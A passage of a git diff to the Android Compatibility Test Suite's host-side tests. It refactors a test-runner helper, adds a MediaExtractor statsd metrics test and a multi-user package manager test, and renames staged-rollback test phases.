-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                pkgName, RUNNER, getDevice().getIDevice());
-        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        testRunner.addInstrumentationArg(
-                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
+        RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
         CollectingTestListener listener = new CollectingTestListener();
         assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
 
         final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new AssertionError("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new AssertionError("No tests were run on the device");
-        }
-
-        if (result.hasFailedTests()) {
-            // Build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
+        assertTestsPassed(result);
     }
 
     /**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+    /** Package name of the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+    /** Name of the APK that contains the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+    /** Fully qualified class name for the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_CLASS =
+            "android.media.cts.MediaExtractorDeviceSideTest";
+
+    private static final long CONFIG_ID = "cts_config".hashCode();
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        installApp(DEVICE_SIDE_TEST_APK);
+        removeConfig(); // Clear existing configs.
+        createAndUploadConfig();
+        getAndClearReportList(); // Clear existing reports.
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeConfig();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    // Tests.
+
+    public void testMediaMetricsEntryPointSdk() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+    }
+
+    public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+    }
+
+    public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+        runDeviceTests(
+                DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+    }
+
+    // Internal methods.
+
+    /** Removes any existing config with id {@link #CONFIG_ID}. */
+    private void removeConfig() throws Exception {
+        getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+    }
+
+    /** Creates the statsd config and passes it to statsd. */
+    private void createAndUploadConfig() throws Exception {
+        StatsdConfig.Builder configBuilder =
+                StatsdConfigProto.StatsdConfig.newBuilder()
+                        .setId(CONFIG_ID)
+                        .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+                        .addWhitelistedAtomIds(
+                                AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+        addAtomEvent(configBuilder);
+        uploadConfig(configBuilder.build());
+    }
+
+    /** Writes the given config into a file and passes is to statsd via standard input. */
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        // Make sure a config file with the same name doesn't exist already.
+        getDevice().deleteFile(remotePath);
+        assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+        getDevice()
+                .executeShellCommand(
+                        "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+        getDevice().deleteFile(remotePath);
+    }
+
+    /** Adds an event to the config in order to match MediaParser reported atoms. */
+    private static void addAtomEvent(StatsdConfig.Builder config) {
+        String atomName = "Atom" + System.nanoTime();
+        String eventName = "Event" + System.nanoTime();
+        SimpleAtomMatcher.Builder sam =
+                SimpleAtomMatcher.newBuilder()
+                        .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+        config.addAtomMatcher(
+                StatsdConfigProto.AtomMatcher.newBuilder()
+                        .setId(atomName.hashCode())
+                        .setSimpleAtomMatcher(sam));
+        config.addEventMetric(
+                StatsdConfigProto.EventMetric.newBuilder()
+                        .setId(eventName.hashCode())
+                        .setWhat(atomName.hashCode()));
+    }
+
+    /**
+     * Returns all MediaParser reported metric events sorted by timestamp.
+     *
+     * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+     */
+    private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+            throws Exception {
+        ConfigMetricsReportList reportList = getAndClearReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+        ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+        report.getMetricsList()
+                .forEach(
+                        statsLogReport ->
+                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+                data.stream()
+                        .map(element -> element.getAtom().getMediametricsExtractorReported())
+                        .collect(Collectors.toList());
+        // During device boot, services may extract media files. We ensure we only pick up metric
+        // events from our device-side test.
+        mediametricsExtractorReported.removeIf(
+                entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+        assertThat(mediametricsExtractorReported).hasSize(1);
+        return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+    }
+
+    /** Gets a statsd report and removes it from the device. */
+    private ConfigMetricsReportList getAndClearReportList() throws Exception {
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice()
+                .executeShellCommand(
+                        "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+                        receiver);
+        return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+    }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index e4956b0..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -253,7 +253,9 @@
 
     @AppModeFull
     @RequiresDevice
-    public void testIsTrusted_withEnabledNotificationListener_returnsTrue() throws Exception {
+    // Ignored due to b/171012388.
+    public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+            throws Exception {
         if (!canCreateAdditionalUsers(1)) {
             CLog.logAndDisplay(LogLevel.INFO,
                     "Cannot create a new user. Skipping multi-user test cases.");
@@ -288,8 +290,7 @@
 
     private void runTestAsUser(String testMethodName, int userId)
             throws DeviceNotAvailableException {
-        runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
-                testMethodName, userId);
+        runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
     }
 
     /**
diff --git a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
index d2c463a..57b4c1b 100644
--- a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
@@ -27,6 +27,8 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+import junit.framework.AssertionFailedError;
+
 public class ProcfsHostTests extends DeviceTestCase implements IBuildReceiver {
   // We need a running test app to test /proc/[PID]/* files.
   private static final String TEST_APP_PACKAGE = "android.os.procfs";
@@ -114,10 +116,20 @@
   public void testProcTidStat() throws Exception {
     int[] tids = lookForTidsInProcess(mTestAppPid);
     assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", tids.length >= 2);
+    int successCount = 0;
     for (int tid : tids) {
-      readAndCheckFile(
-          "/proc/" + mTestAppPid + "/task/" + tid + "/stat", "cat ", PID_TID_STAT_PATTERN);
+      String filePath = "/proc/" + mTestAppPid + "/task/" + tid + "/stat";
+      try {
+        readAndCheckFile(filePath, "cat ", PID_TID_STAT_PATTERN);
+        successCount++;
+      } catch (AssertionFailedError e) {
+        // Threads may be short-lived. Make sure they're still there before throwing assertion error
+        if (mDevice.doesFileExist(filePath)) {
+          throw e;
+        }
+      }
     }
+    assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", successCount >= 2);
   }
 
   /**
diff --git a/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
index 80116e0..f35a3db 100644
--- a/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
+++ b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
@@ -53,4 +53,15 @@
 
         packageInstaller.uninstallExistingPackage(pkgName, null);
     }
+
+    /**
+     * Calling PackageManager#getInstalledModules on a secondary user without INTERACT_ACROSS_USERS
+     * should not throw SecurityException.
+     */
+    @Test
+    public void testGetInstalledModules() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager packageManager = context.getPackageManager();
+        packageManager.getInstalledModules(0);
+    }
 }
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
new file mode 100644
index 0000000..2deee7e
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
@@ -0,0 +1,34 @@
+package com.android.tests.packagemanager.multiuser.host;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PackageManagerMultiUserTest extends PackageManagerMultiUserTestBase {
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    @Test
+    @AppModeFull
+    public void testGetInstalledModules() throws Exception {
+        int newUserId = createUser();
+        getDevice().startUser(newUserId);
+        runDeviceTestAsUser("testGetInstalledModules", newUserId, null);
+    }
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
index 7c9f1fd..68e5f23 100644
--- a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
+++ b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.FlakyTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
@@ -64,6 +65,7 @@
         assertFalse(getDevice().isPackageInstalled(TEST_PACKAGE_NAME));
     }
 
+    @FlakyTest(bugId = 174668020)
     @Test
     @AppModeFull
     public void testAddPreferredActivity() throws Exception {
@@ -81,6 +83,7 @@
                 Collections.singletonMap("numPreferredActivities", "1")));
     }
 
+    @FlakyTest(bugId = 174668020)
     @Test
     @AppModeFull
     public void testAddDuplicatedPreferredActivity() throws Exception {
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index d224af0..156980a 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -99,7 +99,7 @@
      * Commits TestApp.A2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase1() throws Exception {
+    public void testApkOnlyStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         Install.single(TestApp.A1).commit();
@@ -112,7 +112,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase2() throws Exception {
+    public void testApkOnlyStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
 
@@ -141,7 +141,7 @@
      * Confirms TestApp.A2 was rolled back.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase3() throws Exception {
+    public void testApkOnlyStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
 
@@ -158,7 +158,7 @@
      * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase1() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -175,7 +175,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase2() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase2_RollBack() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
@@ -220,7 +220,7 @@
      * Confirms TestApp.A2 and TestApp.B2 was rolled back.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase3() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -247,7 +247,7 @@
      * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase1() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -264,7 +264,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase2() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
         RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
@@ -289,7 +289,7 @@
      * Confirms TestApp.A2 was rolled back.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase3() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -311,7 +311,7 @@
      * <p> We start by installing version 2. The test ultimately rolls back from 3 to 2.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase1() throws Exception {
+    public void testApexOnlyStagedRollback_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         Install.single(TestApp.Apex2).setStaged().commit();
     }
@@ -321,7 +321,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase2() throws Exception {
+    public void testApexOnlyStagedRollback_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         // keep the versions of the apks in shim apex for verifying in phase3
@@ -335,7 +335,7 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase3() throws Exception {
+    public void testApexOnlyStagedRollback_Phase3_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
 
         long[] versions = retrieveApkInApexVersion();
@@ -374,7 +374,7 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase4() throws Exception {
+    public void testApexOnlyStagedRollback_Phase4_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         // Rollback data for shim apex will remain in storage since the apex cannot be completely
@@ -386,7 +386,7 @@
      * Test rollback to system version involving apex only
      */
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase1() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         // keep the versions of the apks in shim apex for verifying in phase2
@@ -396,7 +396,7 @@
     }
 
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase2() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         long[] versions = retrieveApkInApexVersion();
@@ -431,7 +431,7 @@
     }
 
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase3() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
@@ -440,7 +440,7 @@
      * Install first version phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase1() throws Exception {
+    public void testApexAndApkStagedRollback_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
@@ -452,7 +452,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase2() throws Exception {
+    public void testApexAndApkStagedRollback_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
 
@@ -467,7 +467,7 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase3() throws Exception {
+    public void testApexAndApkStagedRollback_Phase3_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
@@ -511,7 +511,7 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase4() throws Exception {
+    public void testApexAndApkStagedRollback_Phase4_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -542,7 +542,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase1() throws Exception {
+    public void testApexRollbackExpiration_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
@@ -553,7 +553,7 @@
      * Update apex phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase2() throws Exception {
+    public void testApexRollbackExpiration_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNotNull();
         Install.single(TestApp.Apex3).setStaged().commit();
@@ -564,7 +564,7 @@
      * Confirm expiration phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase3() throws Exception {
+    public void testApexRollbackExpiration_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNull();
     }
@@ -573,7 +573,7 @@
      * Test rollback with key downgrade for apex only
      */
     @Test
-    public void testApexKeyRotationStagedRollback_Phase1() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         // keep the versions of the apks in shim apex for verifying in phase2
@@ -583,7 +583,7 @@
     }
 
     @Test
-    public void testApexKeyRotationStagedRollback_Phase2() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         RollbackInfo available = RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME);
         long[] versions = retrieveApkInApexVersion();
@@ -617,18 +617,18 @@
     }
 
     @Test
-    public void testApexKeyRotationStagedRollback_Phase3() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
     @Test
-    public void testApkRollbackByAnotherInstaller_Phase1() throws Exception {
+    public void testApkRollbackByAnotherInstaller_Phase1_FirstInstaller() throws Exception {
         Install.single(TestApp.A1).commit();
         Install.single(TestApp.A2).setEnableRollback().commit();
     }
 
     @Test
-    public void testFingerprintChange_Phase1() throws Exception {
+    public void testFingerprintChange_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -639,19 +639,19 @@
     }
 
     @Test
-    public void testFingerprintChange_Phase2() throws Exception {
+    public void testFingerprintChange_Phase2_Confirm() throws Exception {
         assertThat(RollbackUtils.getRollbackManager().getAvailableRollbacks()).isEmpty();
     }
 
     @Test
-    public void testRollbackFailsBlockingSessions_Phase1() throws Exception {
+    public void testRollbackFailsBlockingSessions_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         Install.single(TestApp.A1).commit();
         Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
     }
 
     @Test
-    public void testRollbackFailsBlockingSessions_Phase2() throws Exception {
+    public void testRollbackFailsBlockingSessions_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
         // Stage session for package A to check if it can block rollback of A
@@ -682,7 +682,7 @@
     }
 
     @Test
-    public void testRollbackFailsBlockingSessions_Phase3() throws Exception {
+    public void testRollbackFailsBlockingSessions_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
diff --git a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
index 8f8bfac..f3e0468 100644
--- a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
+++ b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
@@ -61,7 +61,7 @@
     }
 
     @Test
-    public void testApkRollbackByAnotherInstaller_Phase2() throws Exception {
+    public void testApkRollbackByAnotherInstaller_Phase2_SecondInstaller() throws Exception {
         RollbackInfo rollbackA = RollbackUtils.waitForAvailableRollback(TestApp.A);
         assertThat(rollbackA).packagesContainsExactly(Rollback.from(TestApp.A2).to(TestApp.A1));
         RollbackUtils.rollback(rollbackA.getRollbackId());
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 976e406..7191353 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -19,9 +19,11 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.hamcrest.CoreMatchers.endsWith;
+import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.not;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
 
 import android.cts.install.lib.host.InstallUtilsHost;
 
@@ -88,11 +90,11 @@
      */
     @Test
     public void testApkOnlyStagedRollback() throws Exception {
-        run("testApkOnlyStagedRollback_Phase1");
+        run("testApkOnlyStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyStagedRollback_Phase2");
+        run("testApkOnlyStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyStagedRollback_Phase3");
+        run("testApkOnlyStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -103,11 +105,11 @@
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testApkOnlyMultipleStagedRollback_Phase1");
+        run("testApkOnlyMultipleStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedRollback_Phase2");
+        run("testApkOnlyMultipleStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedRollback_Phase3");
+        run("testApkOnlyMultipleStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -118,11 +120,11 @@
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testApkOnlyMultipleStagedPartialRollback_Phase1");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedPartialRollback_Phase2");
